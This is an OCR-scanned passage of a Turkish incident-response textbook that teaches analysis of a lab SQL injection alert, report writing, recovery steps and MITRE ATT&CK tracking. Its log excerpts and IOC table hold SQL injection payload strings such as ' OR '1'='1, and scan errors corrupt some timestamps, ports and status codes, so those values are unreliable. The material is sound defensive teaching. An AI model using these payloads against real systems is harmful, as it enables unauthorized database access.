3 Apr 29, 2025 & 15:81:29 477 Suricata: Alert - ET SCAN Possible Hmap User-Agent Observed 3 86681

y Apr 29, 2025 @ 15:81:29.483 Suricata: Alert - ET SCAN Possible Mmap User-Agent Observed 3 86681

Gorsel 4.20: Koti amagli yazilim uyari detaylari

2. Adim: Saldirinin detaylarini gériintileyiniz ve saldiri ile ilgili bilgileri toplayiniz (Gorsel 4.21).

t data.flow.dest_port 86

t data.flow.pkts_toclient 11

t data.flow.pkts_toserver :3

t data.flow.src_ip 192.168.1.100

t data.flow.src_port 47776

t data.flow.start 2025-084-29T15:02:18.379363+83680
t data.flow_id 784928764521135. 000000

t data.http.hostname 192.168.1.27

t data.http.http_content_type text/html

t data.http.http_method GET

data.

http.http_refer

http://192.168.1.27/dvwa/vulnerabilities/sqll/?1d=1%27%280R%20%271%27=%271&Submit=Submit I

t data.http.http_user_agent Mozilla/5.8 (X11; Linux x86_64; rv:182.8) Gecko/208188181 Firefox/182.8
t data.http.length 4986
t data.http.protocol HTTP/1.1
t data.http.status 208
I t data.http.url /dvwa/vulnerabilities/sqli/?id=1%27+or+%271%27%30%271&Submit=Submit I
t data.in_iface \Device\NPF_{BE35F2F5-2F02-47BF-B928-18F1968377CE}

Gorsel 4.21: Kot amagli yazilim uyari detaylari
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3. Adim: Bu verilere gore saldirinin kaynagi ve hedefi hakkindaki bilgileri séyle not ediniz:
Kaynak IP: 192.168.1.100

Hedef Sunucu IP/Hostname: 192.168.1.27

HTTP Referer: http://192.168.1.27/dvwa/vulnerabilities/sqli/?id=1" OR ‘1’="1&Submit=Submit
HTTP URL: /dvwa/vulnerabilities/sqli/?id=1" or ‘1’="3D’1’&Submit=Submit

4. Adim: Verilere gore saldirinin analizini séyle yapiniz:

Kullanilan Yontem (TTP): SQL Injection (MITRE ATT&CK T1190-Exploit Public-Facing Application).
Saldiri Tipi: GET istegi lizerinden veri tabanina yetkisiz erisim denemesi

Etki Potansiyeli: Veri sizintisi, kullanici bilgilerinin tehlikeye girmesi, sunucunun veri biitlinlGglinin
bozulmasi

5. Adim: Verilere gore saldiridan etkilenebilecek potansiyel varliklari Tablo 4.7’deki gibi tespit ediniz.

Tablo 4.7: Etkilenen Varliklar

Web Sunucusu 192.168.1.27 IP’si ile erisilen hedef sunucu

Ag Cihazlar Sunucuya gelen trafigi yoneten router ve firewalllar
Uygulama Veri Tabani SQL Injection ile hedeflenen veri tabani tablolari
Log Sistemleri HTTP istekleri ve trafik kayitlarini tutan sistemler

6. Adim: Olaya mudahale islemlerini sdyle gergeklestiriniz:

« Kaynak IP 192.168.1.100, firewall ile gegici olarak engellendi.

« Silpheli HTTP istekleri loglandi ve SIEM sistemine eklendi.

 Veri tabaninda slpheli sorgular kontrol edildi ve etkilenen tablolar karantinaya alindi.

« Saldirinin tekrar etmemesi icin WAF kurallari glincellendi.

7. Adim: inceleme raporu drnegini Tablo 4.8’de oldugu gibi hazirlayiniz.

Tablo 4.8: Olay Rapor Ornegi

“

2025-04-29 tarihinde web sunucusunda SQL Injection saldirisi
tespit edilmistir. Saldiri, web uygulamasina gonderilen kot amach
HTTP istekleriyle veri tabanina yetkisiz erisim girisimi olarak
belirlenmistir.

Olay Tanimi

Tespit Tarihi: 2025-04-29
Tespit Saati: 15:02:18
Kaynak IP: 192.168.1.100
Kaynak ve Hedef Hedef IP: 192.168.1.27

Zaman Cizelgesi

Hedef Sistem: Web sunucusu (veri tabani baglantili)
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“

MITRE ATT&CK: T1190-Exploit Public-Facing Application

Kullamilan TTP’ler Aciklama: Web uygulamasindaki giivenlik a¢igi kullanilarak veri
tabanina yetkisiz erisim girisimi yapiimistir.

Kaynak IP: 192.168.1.100

Hedef IP: 192.168.1.27

10C’ler HTTP URL: /login.php?user=" OR ‘1'="1

HTTP Referer: https://zararliyazilim.ornek.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

« Veri tabanina yetkisiz erisim denemesi gergeklesmistir.

« Kullanici bilgilerinin risk altinda olma ihtimali ylksektir.

Saldiri basaril olsaydi veri sizintisi ve yetkisiz veri manipilasyonu
meydana gelebilirdi.

Etki Analizi

Parametrik sorgu kullanimi (Prepared Statements)
WAF entegrasyonu

Dizenli glivenlik yamalari

SIEM izleme ve aktif takip

Duzenli penetrasyon testleri ve glivenlik taramalari

Onerilen iyilestirmeler

S

Tespit edilen SQL Injection saldirisi basariya ulasmasa da
Sonug uygulama, bu tiir saldirilara karsi savunmasizdir. Onerilen
iyilestirmeler uygulanmalidir.

8. Adim: inceleme raporu 6rnegini Tablo 4.9'da oldugu gibi USOM’a uygun sekilde tekrar hazirlayiniz.

Tablo 4.9: USOM’a Uygun Olay Rapor Ornegi

“ Rapor igeriginde Yer Almasi Gereken Agiklamalar

Web sunucusunda SQL Injection saldirisi tespit edilmistir.
Gergekte ne oldu? Saldirgan, web uygulamasindaki giivenlik agigini kullanarak veri
tabanina yetkisiz erisim girisiminde bulunmustur.

Olay ne zaman gergeklesti? Tespit Tarihi: 2025-04-29
Tespit Saati: 15:02:18
Olaya kimler miidahale etti? SOC ekibi uzmanlari ve sistem yoneticileri olaya miidahale etmistir.

Saldiri tespit edildiginde ilgili IP kaynaklari engellenmis, web

ilk tepki neydi? o .
sunucusu glivenlik 6nlemleri devreye alinmistir.

SIEM Uzerinden loglar incelenmis, IDS/IPS ve WAF kayitlari
ilk degerlendirme nasil yapildi?  analiz edilmistir. ilk bulgular saldirinin SQL Injection oldugunu
dogrulamistir.

Hangi sistemler etkilendi? Web sunucusu ve veri tabani sunucusu hedef alinmistir.

Saldiri denemesi basarili olmamis, veri tabanina yetkisiz erisim

Etkilenen varliklara ne oldu? .
saglanamamistir.

Tablonun devami =——p
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— Rapor iceriginde Yer Almasi Gereken Agiklamalar

is stireclerinde aksama olmamis, ancak kullanici verileri risk altinda

| B

Kurulug nasil etkilendi?
olmustur.

. Web uygulamasinda parametrik sorgu kullanilmamasi ve WAF
Saldiri neden gergeklesti? . L o
eksikligi, saldirganlar tarafindan istismar edilmistir.

Miidahale kapsaminda hangi Kaynak IP engellenmis, ilgili sunucu izleme altina alinmis, saldiri

adimlar atildi? loglari toplanmis ve analiz edilmistir.

Alinan aksiyonlarin sonuglari Saldiri basarisiz olmus, veri tabanina yetkisiz erisim
neler oldu? saglanamamistir.
Normal operasyonlar hemen devam etmis, ek glivenlik 6nlemleri

Kurum nasil toparlandi?
uygulanmistr.

Parametrik sorgular kullaniimasi, WAF entegrasyonu ve diizenli

Olay nasil 6nlenebilirdi? . . L o
glivenlik yamalari ile 6nlenebilirdi.

Gelecekte benzer olaylarin Penetrasyon testleri, zafiyet yonetimi, SIEM izleme ve ¢alisan
6nlenmesi igin neler yapilmah?  farkindalik egitimleri uygulanmalidir.

Bu olaydan hangi dersler Web uygulamalarinda glivenli kodlama ve glivenlik sistemlerinin
cikarildi? surekli izlenmesi gerektigi anlasiimistir.

Sira Sizde

Ransomware saldirisi ile ilgili drnek bir analiz ve inceleme raporunu USOM standartlarina
uygun sekilde hazirlayiniz.

4.3.2. Siber Olayin Sonrasi lyilestirme Adimlari

Olay sonrasi miidahale siireglerinde iyilestirme adimlari, siber glivenlik yonetiminin kritik bir pargasidir.
iyilestirme, sadece zararin giderilmesi degil ayni zamanda gelecekte benzer olaylarin énlenmesi
ve kurumun givenlik seviyesinin artirllmasi anlamina gelir. Bu stireg, USOM’un siber olay yonetimi
rehberinde, NIST SP 800-61 Rev.2’de ve SANS'In olay miidahale yonergelerinde ayrintili olarak
belirtilmistir. lyilestirme adimlari, genellikle su bilesenleri igerir:

Zararin Sinirlanmasi ve Sistemlerin Giivenli Hale Getirilmesi: Olay tespit edildiginde ilk adim, etkilenen
sistemlerin izole edilmesi ve saldirinin yayilmasinin dnlenmesidir. Bu asamada firewall, WAF gibi
givenlik 6nlemleri devreye alinir.

Sistem Giincellemeleri ve Yamalarin Uygulanmasi: Etkilenen sistemlerdeki glivenlik aciklari belirlenir
ve gerekli yamalar uygulanir. Bu adim hem mevcut zararin giderilmesi hem de gelecekteki saldirilarin
onlenmesi acisindan kritik 6neme sahiptir.

Giivenlik Politikalarinin ve Prosediirlerinin Gézden Gegirilmesi: Kurum ici glvenlik politikalari ve
prosedirleri tekrar degerlendirilir, eksiklikler giderilir ve gerekli glincellemeler yapilir. Boylece hem
teknik hem de operasyonel diizeyde glivenlik gliclendirilir.
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Personel Farkindaligi ve Egitim: iyilestirme siirecinde, calisanlarin farkindalik seviyesinin artirilmasi da
onemlidir. Ghvenlik egitimleri ve farkindalik seminerleri, benzer olaylarin tekrarini dnlemeye yardimci
olur.

e

Bir kurumun web sunucusu asiri trafik aliyor ve hizmet kesintisi yasaniyor. Yapilan analiz, bir DDoS
saldirisi oldugunu gosteriyor. NIST SP 800-61 Rev.2’'ye gbére DDoS saldirisi sonrasinda iyilestirme
adimlarini uygulama islemini verilen adimlar ve basliklar dogrultusunda gerceklestiriniz.

1. Adim: Sinirlama ve izolasyon

« Saldirgan IP’leri firewall veya IDS/IPS (izerinden engelleyiniz.

- Etkilenen sunuculari izole ediniz ve kritik hizmetleri baska segmentlerden ¢alistiriniz.
2. Adim: Kontrol ve Analiz

« Web sunucusu ve ag cihazlarinin durumunu kontrol ediniz.

« Olasi veri kaybi veya hizmet aksakliklarini tespit ediniz.

3. Adim: Log Toplama

- Firewall, IDS/IPS ve web sunucusu loglarini kaydediniz.

« Trafik 6rneklerini aliniz ve analiz ve raporlama igin saklayiniz.

4. Adim: Giivenlik Kontrollerinin Giincellenmesi

- Rate limiting ve trafik filtreleme kurallarini uygulayiniz.

« WAF ve IDS/IPS konfiglirasyonlarini saldiriya gére giincelleyiniz.

5. Adim: Sistem Giincelleme ve Yama

« Sunucularin ve ag cihazlarinin yamalarini kontrol ediniz ve uygulayiniz.

« Web uygulamasinda zayif noktalari gliclendiriniz.

6. Adim: Test ve Dogrulama

« Tim servislerin dlizglin ¢alistigini kontrol ediniz.

« Ag performansini test ediniz ve saldiriya karsi dayanikliligi degerlendiriniz.
7. Adim: Lessons Learned ve Raporlama

« Saldirinin nasil gergeklestigini ve alinan énlemleri raporlayiniz.

« Gelecekte benzer olaylarin dnlenmesi icin aksiyon plani olusturunuz.

Sira Sizde

Kurumsal bir e-posta sistemine sahte bir e-posta gonderilir. E-posta, ¢alisanlari sahte bir
giris sayfasina yonlendirerek kullanici adi ve sifrelerini ele gecirmeyi amaclamaktadir. Bazi
calisanlar baglantiya tiklar ve kimlik bilgilerini paylasir. Buna gére NIST’e uygun iyilestirme

adimlarini uygulayiniz.
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B

4.3.3. Siber Olaydan Ders Cikarma ve Giivenlik Politikalarini Diizenleme

Bir siber olayin tamamen ortadan kaldirilmasi, stirecin sonu degildir. NIST SP 800-61, SANS Incident
Handling Guide ve USOM’un 6nerileri dogrultusunda olaylardan ders gikarilmasi kritik bir adimdir. Bu
asamanin temel amaci, ayni veya benzer olaylarin tekrar yasanmasini 6nlemek ve kurumsal givenlik
politikalarini gelistirmektir. Olaydan ders ¢ikarma sirecinde dikkat edilmesi gereken baslica noktalar
sunlardir:

1. Olay Sonrasi inceleme (Post-Incident Review)
« Olayin nasil gerceklestigi, hangi zafiyetlerin kullanildigi ve hangi kontrollerin basarisiz oldugu de-
gerlendirilir.

« Olayin zaman cizelgesi cikarilir (saldirinin baslangici, tespiti ve miidahale siresi).

2. Kok Neden Analizi (Root Cause Analysis)

« Olayin temel nedeni arastirilir (6rnegin yamalanmamis sistem, yanlis yapilandirma, kullanici ha-
tasi vb.).

« Bu olay neden oldu, nasil 6nlenebilirdi sorulari yanitlanir.

3. Politika ve Prosediir Giincellemeleri
« Mevcut glivenlik politikalari gozden gegirilir.
« Gerekirse erisim yonetimi, yamalama surecleri, ag izleme veya kullanici farkindalik egitimleri ye-
niden diizenlenir.
4. Paydaslarla iletisim ve Raporlama
« Ust yénetime ve ilgili otoritelere (6rnegin USOM ve CERT) rapor hazirlanir.
« Ogrenilen dersler ilgili ekiplerle paylasilir.
5. Siirekli lyilestirme
» Olay sonrasi elde edilen bulgular, kurumsal siber giivenlik politikasina entegre edilir.

« Saldiri similasyonlari ve tatbikatlarla eksiklikler test edilir.

Siireg, organizasyonun dayaniklilhk seviyesini artirir ve gelecekteki olaylara karsi daha direngli hale
gelmesini saglar.

Siber olay giivenlik politikalarini diizenleme; kurum icinde yasanan veya yasanabilecek siber saldirilar
sonrasi glvenlik agiklarini kapatmak, benzer olaylarin tekrar yasanmamasi icin gerekli kurallarin,
prosediirlerin ve dnleyici tedbirlerin glincellenmesi sirecidir.

Amag
« Olaydan ders ¢ikarmak

« Guvenlik agiklarini en aza indirmek

« Personel farkindaligini artirmak

« Mevzuata ve standartlara uyum saglamak (ISO 27001, NIST, KVKK, GDPR vb.)
« Surekli iyilestirme dongusiini slirdirmek

Temel ilkeler

1. Olay Sonrasi Analiz: Olayin neden yasandigi, nasil fark edildigi, hangi zafiyetin kullanildigi incelenir.
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2. Risk Degerlendirmesi: Benzer olaylarin tekrarlanma olasiligi ve etkisi degerlendirilir.

3. Politika Giincelleme: Kullanici, erisim, sifre, e-posta, loglama ve olay yonetim politikalari gézden
gecirilir.
4. Egitim ve Farkindalik: Calisanlara yeni saldiri tiirleri ve alinan dnlemler anlatilir.

5. Denetim ve izleme: Giincellenen politikalarin uygulanip uygulanmadigi diizenli olarak kontrol edilir.

- 8. Uygulama

Bir hastanenin bilgi islem agina fidye yazilimi bulagmis ve hasta kayit sistemine erisim engellenmistir.
Olay, hizl miidahale ile kontrol altina alinmis ve sistem yedeklerden geri yliklenmistir. Buna gére olaydan
ders ¢ikarma ve givenlik prosediirlerini diizenleme ile ilgili yapilacak galisma basamaklarini uygulama
islemini verilen adimlar ve basliklar dogrultusunda gerceklestiriniz.

1. Adim: Olayin Belirlenmesi ve izolasyon

« Enfekte sistemleri agdan izole ediniz.

» Fidye notunu, dosya uzantilarini ve sifreleme davranislarini analiz edilerek saldirinin tirind tespit
ediniz.

2. Adim: Olayin Analizi

« Log kayitlarini inceleyiniz (Hangi kullanicidan sizildig1, hangi saatlerde anormallik basladigi tespit edi-
lir.).

« Fidye yaziliminin bilinen bir varyant olup olmadigini arastiriniz.

3. Adim: Miidahale ve Kurtarma

« Fidye 6demesi yapmayiniz.
« Yedeklerin de sifrelenmedigini dogrulayiniz.

- Sistemleri glivenli yedeklerden geri ylikleyiniz.

4. Adim: Guvenlik Politikasinin Giincellenmesi

« Kullanici egitimleri (phishing e-postalarina karsi farkindalik) planlayiniz.
« Guncel antivirtis/EDR kullanimini saglayiniz.

« Kritik veriler igin 3-2-1 yedekleme stratejisini (3 kopya, 2 farkh ortam, 1 offline) uygulayiniz.

Sira Sizde

Bir kamu kurumunda calisan personele sahte bir e-posta ile acil sifre glincelleme uyarisi
gonderilmistir. Calisanlardan biri e-postadaki baglantiya tiklayarak kurumsal hesabinin
giris bilgilerini saldirganlara kaptirmistir. Saldirgan, bu bilgilerle kurumsal e-posta sistemine
erisim saglamis ve gizli belgeleri disariya sizdirmaya ¢alismistir. Olay, kurumun giivenlik bilgi
ve olay yonetimi (SIEM) sistemi tarafindan tespit edilmis ve kullanici hesabi hizla askiya
alinarak kontrol altina alinmistir. Bu olaydan ¢ikarilacak dersleri belirleyiniz ve glivenlik
prosedirlerinde yapilacak diizenlemeleri tespit etme uygulamalarini gerceklestiriniz.
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4.3.4. Kullanici ve Yonetici Bilgilendirmesi

Kurumlarda siber glivenlik olaylariyla etkin bir sekilde basa c¢ikabilmek igin kullanici ve yonetici
bilgilendirmesi, kritik bir adimdir. Bu siire¢ hem glinlik operasyonel hatalarin 6nlenmesine hem de
olasi saldirilara karsi hizh miidahale kapasitesinin artirilmasina hizmet eder. Bilgilendirme uygulamalari,
kurum icindeki tim kullanici ve yoneticilerin su konularda bilinclendirilmesini saglar:

« Siber tehditlerin tirleri ve isleyisi

« Gulvenlik politikalari ve prosediirleri

« Sipheli olaylari raporlama yollari

« Olasi glivenlik agiklarini tespit etme yontemleri

Kullanicr hatalarindan kaynaklanan saldiri riskleri minimize edilir ve yoneticiler olay yénetiminde hizli ve
dogru karar alabilir. Kullanici ve yonetici bilgilendirmesi kapsaminda su uygulamalar yapilmalidir:

A. Kullanici Bilgilendirmesi

1. Egitim Programlari: Kullanicilara diizenli araliklarla phishing, malware ve sosyal muihendislik
saldirilari hakkinda egitim verilmelidir.

2. Simiilasyon Testleri: Phishing similasyonlariile kullanicilarin farkindalik dizeyi 6l¢tilmelidir.

3. Kisa Hatirlatmalar: E-posta veya kurum ici bildirimler ile giincel tehditler ve giivenlik 6nerileri
paylasiimaldir.

4. Raporlama Kanallari: Sipheli e-postalarin veya davranislarin raporlanabilecegi kolay erisilebilir
kanallar olusturulmalidir.

B. Yonetici Bilgilendirmesi

1. Olay Raporlama ve Analiz Toplantilani: Yonetici seviyesindeki personel, SIEM veya diger glivenlik
sistemlerinden gelen olay raporlari ile bilgilendirilmelidir.

2. Politika Giincellemeleri: Yonetici ekibi, giivenlik politikalarinda yapilacak degisikliklerden haberdar
edilmelidir ve onay siregleri hakkinda bilgilendirilmelidir.

3. Acil Midahale Egitimleri: Yoneticiler, kritik olaylarda uygulanacak adimlar, sorumluluklar ve
koordinasyon proseddrleri konusunda bilgilendirilmelidir.

- 9. Uygulama

Bir kamu kurumunda bazi kullanicilar, sahte bir e-postadaki acil sifre glincelleme uyarisina tiklayarak
hesap bilgilerini saldirganlara kaptirmistir. SIEM sistemi olayi tespit etmis, kullanici hesaplari askiya
alinmis ve glvenlik ekibi miidahaleyi baslatmistir. Buna gore glivenlik prosedirleri kapsaminda, olayin
kullanici ve yonetici bilgilendirmesi agamasinda yapilmasi gereken islemleri verilen adimlar ve
basliklar dogrultusunda gerceklestiriniz.

1. Adim: Kullanici Bilgilendirmesi

Egitim Diizenleme: Tum kullanicilar icin phishing ve sosyal mihendislik saldirilari hakkinda egitim
programi hazirlayiniz.
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Simiilasyon Testleri: Sahte phishing e-postalari gondererek kullanicilarin farkindalik seviyesini test
ediniz.

Bilgilendirme Bildirimleri: Glncel tehditler ve glvenlik dnerilerini e-posta veya kurum ici duyuru
panolari Gzerinden paylasiniz.

Raporlama Kanallan: Kullanicilarin stipheli e-postalari hizlica bildirebilecegi bir destek hatti veya
sistem olusturunuz.

2. Adim: Yonetici Bilgilendirmesi
Olay Raporlari: SIEM ve diger glvenlik sistemlerinden elde edilen bilgilerle yoneticileri bilgilendiriniz.

Politika Giincellemeleri: Glvenlik politikalarinda yapilacak degisiklikleri yoneticilere iletin ve onay
sureglerini baslatiniz.

Acil Miidahale Toplantilari: Yoneticiler icin olay sonrasi hizli midahale ve koordinasyon siireglerini
belirleyen toplantilar diizenleyiniz.

3. Adim: Onleyici Onlemler
« Kullanicilara slipheli e-posta ve linkleri tanima egitimi veriniz.
« Kurum genelinde ¢ok faktorli kimlik dogrulama (MFA) uygulanmasini saglayiniz.

- Diuzenli araliklarla bilgi glvenligi farkindalik testi yaparak kullanicilarin 6grenme dizeyini takip
ediniz.
4. Adim: Raporlama ve Degerlendirme
« Egitim ve similasyon sonuglarini raporlayiniz.

- Tespit edilen eksiklikler icin aksiyon plani hazirlayiniz ve uygulamaya koyunuz.

- Yoneticiler ile dlizenli takip toplantilari yaparak politika ve prosedirlerin glincelligini dogrulayiniz.

Siber olaylari etkin bir sekilde yonetmek ve yoneticileri zamaninda bilgilendirmek icin gesitli agik
kaynakli araclar veya ticari araglar kullanilabilir. Tablo 4.10’da bu sireclerin yiritilebilecegi acik kaynak
kodlu araglar ve agiklamalari verilmistir.

Tablo 4.10: Agik Kaynak Kodlu Araglar ve Gorevleri

Yazilim Adi Yoneticilere Sagladigi Fayda

B Guvenlik olaylarini organize eder, ilgili
. . Acik kaynakl olay miidahale .
TheHive Project L . atamalari yapar, yoneticilere detayli raporlar
ve vaka yonetim sistemi L
sunar ve olay takibini kolaylastirir.

. SIEM, IDS/IPS ve log yonetimi saglar ve
. . Acik kaynakhh ag ve host | . . o .
Security Onion N o yoneticilere anlik olay bildirimleri ile
glvenlik izleme platformu o
saldirilarin erken tespitini mimkin kilar.

Siber olay verilerini paylasir, saldir

Acik kaynakli tehdit | egilimlerini analiz eder, yoneticileri glincel
istihbarati platformu tehditler hakkinda bilgilendirir ve proaktif
onlem alinmasini destekler.
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Ornek Maddelerle verilen yapi, bu sistemlerin birbirine entegre kullanimina érnektir.
-

1. Yonetici Bilgilendirmesi (Anlik Uyarilar)

SIEM Uyanlari: Wazuh, Security Onion, Splunk gibi SIEM sistemleri kritik olaylari tespit ettiginde
ybneticilere e-posta, SMS veya Slack/Teams bildirimi génderebilir.

Kurumsal e-posta hesabina stpheli giris tespit edildiginde yoneticilere Hizh
Miidahale Gerekiyor uyarisi gonderilir.

Ornek

-

TheHive Project Alarm Mekanizmasi: Vaka acildiginda ilgili yoneticiler otomatik olarak bilgilendirilir.
Olayin durumu ve atamalar hakkinda gercek zamanli bilgi saglar.

2. Raporlama ve Olay Takibi
Periyodik Raporlar: SIEM veya TheHive; giinlik, haftalik veya aylik olay raporlari olusturur.

“Bu hafta toplam 12 stpheli giris denemesi tespit edildi., 3 kullanici hesabi askiya
alindi.,, Midahale siiresi ortalama 15 dakika.”

Ornek

MISP ile Tehdit Raporlama: Kurumun maruz kaldigi saldiri verileri, MISP iizerinden analiz edilir ve
yoneticilere grafikler, I0C (Indicator of Compromise) listeleri ve saldiri trendleri (egilimleri) olarak
sunulur.

Olay Takip Panelleri: Security Onion, TheHive gibi araglarin dashboardlari yoneticilerin olaylari anlik
olarak izlemesine, acik ve ¢6zllmemis vakalari gormesine ve miidahale durumunu degerlendirmesine
olanak tanir.

w

. Uygulama Ornegi

SIEM sistemi bir phishing saldirisi tespit eder.
TheHive lizerinden vaka acilir ve olayla ilgili yoneticilere anlik e-posta bildirimi gider.

MISP ile saldiriya dair IOC’ler glincellenir ve yoneticilere saldiri egilimleri raporlanir.

P W N PR

Haftalik 6zet rapor hazirlanir ve yonetim kurulu toplantisinda paylasilir.

4.3.5. Siber Olay Saldiri Takibi

Siber glvenlikte yalnizca bir saldiriyr tespit etmek yeterli degildir. Asil 6Gnemli olan saldirinin nasil
gelistigini, hangi yontemlerle ilerledigini ve hangi izleri biraktigini takip edebilmektir. Siber olay saldiri
takibi, saldirininilk belirtiasamasindan (6rnegin slipheli bir IP adresi veya zararli dosya hashi) saldirganin
sistemden tamamen uzaklastirilmasina kadar olan siireci kapsar. Bu noktada uluslararasi ¢ergeveler yol
gosterici olur.

« NIST Olay Miidahale Yasam Dongiisii dort ana adimdan olusur (Hazirlik, Tespit ve Analiz, Midahale,
Lessons Learned).

@ SIBER OLAYLARA MUDAHALE




SIBER OLAYLARA MUDAHALE UYGULAMALARI -O

e

- SANS Olay Miidahale Modeli ise alti asamadan bahseder (Hazirlik, Tanimlama, icerme, Yok Etme,
Kurtarma ve Lessons Learned)

Her iki yaklasimda da Lessons Learned (Ogrenilen Dersler) bélimii ézellikle dnemlidir. Clinki saldiri
takibi yalnizca olayi ¢cozmek icin degil gelecekte benzer saldirilarin 6nlenmesi icin de kritik bilgiler Gretir.
Burada yapilan analizler sayesinde elde edilenler sunlardir:

« Zafiyetlerin ortaya ¢ikmasi

« Saldirganlarin yontemlerinin belgelenmesi

« Kurumun giivenlik politikalarinin glincellenmesi

Saldin takibi slreci sadece bir glivenlik olayiyla sinirli kalmaz, kurumun tekrar benzer sorunlar
yasamamasi icin 6énemli stratejik bir 6grenme slirecine dondsur.

Saldiri Takibi

Bir saldiri takibinde su islemler yer alir:

« Saldirinin kapsami anlasilir (Hangi cihazlar etkilendi, hangi kullanici hesaplari hedef alindi?).

- Saldirganin yontemleri ortaya cikar.

« Toplanan kanitlar hem teknik analiz hem de hukuki siiregler icin kullanilabilir.

« Benzer saldirilara karsi dnceden hazirlik yapilabilir.

Saldin takibi, glivenlik ekiplerinin sadece olayr kapatmasi degil ayni zamanda kurumun glvenlik
yeterliliginin artirmasi igin de bir firsattir.

Saldiri takibinin asamalari genellikle su adimlar tGzerinden ilerler:

1. Olayin Tespiti: IDS/IPS, SIEM, antivirts, EDR gibi sistemlerden gelen uyarilar incelenir.

2. Olayin Dogrulanmasi: Yanlis alarmlar (false positive) elenir, olayin gergekten bir saldiri olup olmadigi
teyit edilir.

3. Kapsamin Belirlenmesi: Saldirinin hangi sistemlere yayildigi, hangi verilerin tehlikede oldugu
arastirtlir.

4. Gergek Zamanli izleme: Ag trafigi, log dosyalari, oturum kayitlari gibi kaynaklardan saldirinin devam
edip etmedigi gozlenir.

5. Olay Sonrasi izleme: Saldirganin geri dénme girisimleri olup olmadigi takip edilir.

Saldirilarin izlenmesinde genellikle su iki temel kavramdan yararlanilir:

1. Indicator of Compromise (I0C): Zararli yazihm hashi, kot niyetli IP adresi, sipheli alan adi gibi
saldirinin gerceklestigini gosteren teknik izlerdir.

2. Indicator of Attack (I0A): Saldirinin niyetini ortaya koyan davranislardir. Ornegin kisa siirede yiizlerce
basarisiz giris denemesi brute force saldirisinin gostergesidir.

I0C’ler olayin izleri, IOA’lar ise saldirinin davranisi olarak distnlebilir.

Saldiri takibinde yalnizca I0C ve 10A’lara bakmak yeterli olmayabilir. Daha derinlemesine analiz i¢in
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guvenlik ekipleri, saldirganlarin TTP’lerini (Tactics, Techniques, Procedures vb.) inceler.

Taktik (Amag): Saldirganin ulagsmak istedigi hedeftir (sisteme erisim saglamak, veriyi disari ¢ikarmak
vb.).

Teknik (Yontem): Amaci gerceklestirmek icin kullanilan yontemdir (kimlik bilgilerini ele gegirmek igin
brute force gibi).

Prosediir (Uygulama): Saldirganin, sectigi yontemi hayata gecirme seklidir (Mimikatz araciyla credential
dumping gibi).

MITRE tarafindan hazirlanan ATT&CK cergevesi, saldirganlarin davranislarini sistematik sekilde
kategorize eden uluslararasi bir bilgi havuzudur. Bu ¢ergeve, saldirinin hangi asamada oldugunu anlamak
icin olay takibinde yaygin olarak kullanilir.

MITRE ATT&CK Taktiklerinden Ornekler
. Initial Access: Sisteme ilk giris denemeleri (phishing, agik istismari)
. Execution: Zararl kodlarin ¢calistiriimasi

. Persistence: Sistem kapatilsa bile saldirganin kalici erisim saglamasi

. Privilege Escalation: Yetki ylkseltme girisimleri

. Credential Access: Kullanici adlari ve sifreleri ele gegirme
. Lateral Movement: Ag icinde farkli sistemlere yayllma

1
2
3
q
5. Defense Evasion: Givenlik ¢oziimlerinden saklanma
6
7
8. Exfiltration: Verilerin disari ¢ikariimasi

9

. Impact: Sistemlerin ¢okertilmesi, verilerin sifrelenmesi (ransomware)

MITRE ATT&CK sayesinde glivenlik analistleri, bir saldiriyi sadece zararli IP engellendi seklinde degil
ornegin saldirgan MITRE ATT&CK’e gore Credential Access asamasinda bigiminde raporlayabilir. Bu,
olay takibini daha profesyonel bir seviyeye tasir.

Saldiri takibinin bir diger kritik boyutu da elde edilen bilgilerin dogru raporlanmasidir.
Teknik Ekipler igin: Hangi sistemlerin etkilendigi, hangi énlemlerin alindig

Yoneticiler igin: Olayin is siirekliligine etkisi, riskin boyutu

Hukuki Merciler igin: Toplanan delillerin saklanmasi ve paylasiimasi

Her saldiri sonrasi 6grenilen dersler mutlaka kayit altina alinmahdir.

10. Uygulama

Siz, yurtdisi merkezli finans hizmetleri kurulusunda ¢alisan tehdit avcisisiniz. MITRE ATT&CK web
sitesinde yer alan Groups sayfasinda arastirma yaptiktan sonra finansal kuruluslari hedef alan iki 6nemli
tehdit aktoriini belirlediniz (APT19 ve APT38). Hem APT19 hem de APT38 tarafindan siklikla kullanilan
oncelikli teknikleri belirlemek, ardindan bu ortak teknikleri kullanarak olasi bir saldirinin takibini yapan
ve saldirinin izlerinin neler olabilecegini belirleyen uygulamayr MITRE ATT&CK kullanarak verilen
adimlar dogrultusunda gerceklestiriniz.
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1. Adim: ATT&CK Navigator’ia¢ip Yeni Katman Olustur segcenegine tiklayiniz ve Gorsel 4.22°de gosterildigi
gibi Enterprise ATT&CK secimini yapiniz.

MITRE ATT&CK® Navigator

The ATTECK Navigator is a web-based tool for annotating and exploring ATT&CK matrices.
It can be used to visualize defensive coverage, red/blue team planning, the frequency of
detected techniques, and more.

help changelog theme =

I Create New Layer | Create a new empty layer -~
I Enterprise ATTECK I Mobile ATTECK ICS ATTECK
More Options v
Open Existing Layer Load a layer from your computer or a URL w

Gorsel 4.22: ATT&CK Navigator olusturulmasi

2. Adim: Bolim kontrolleri altindaki arama dtigmesine tiklayip Tehdit Gruplari altinda APT19’u arayiniz
(Gorsel 4.23).

Q x @ - Kk

. Privilege . Credential ) Lateral
tence Escal Def E Access Discovery Movement
technigues 14 techniques 45 techniques 17 techniques 23 techniques 9 techniques
|
aunt Abuse Abuse El d il Account Discovery Exploitation of Q  APT 9
sipulation Elevation Control Mechanism the-Middle . Remote
Control - oA - Services
Mechanism = 3 Application Window .
i Jobs p Access Token Brute Force Discavery Internal Search Settings
= Manipulation . oy Spearphishing
tor Logon [l Access Token - : Browser Information B name [ ATTACKID [ description [ data sources
ostart Manipulation @8 BITS Jobs Credentials Discovery Lateral Tool
sution o from Transfer
p : Build Image on Host Password Cloud Infrastructure
Account Stores .. Discovery Remote
torlogon |l Manipulation il Debugger Evasion Service
alization o Exploitation Cloud Service Session
b & Deobfuscate/Decode  for Credential  Dashboard Hijacking ., Techniques (0) v
- Boot or Files or Information Access —
ad Logon Cloud Service Remate
llication Autostart Deploy Contai Forced Discovery Services
gration Execution Authentication e ~
ey Direct Violume Access Cloud Storage Object plicati Threat Groups (2)
Ipramise i Forge Web Discavery Through
t Software Boot or Domain or Tenant Credentials Removable
iy Policy Modification o Container and Media
o Resource Discovery
ate Input Capture Software
sunt .- — Email Spoofing T Debugger Evasion Deploy
- Create or - Tools Deep Panda view select deselect
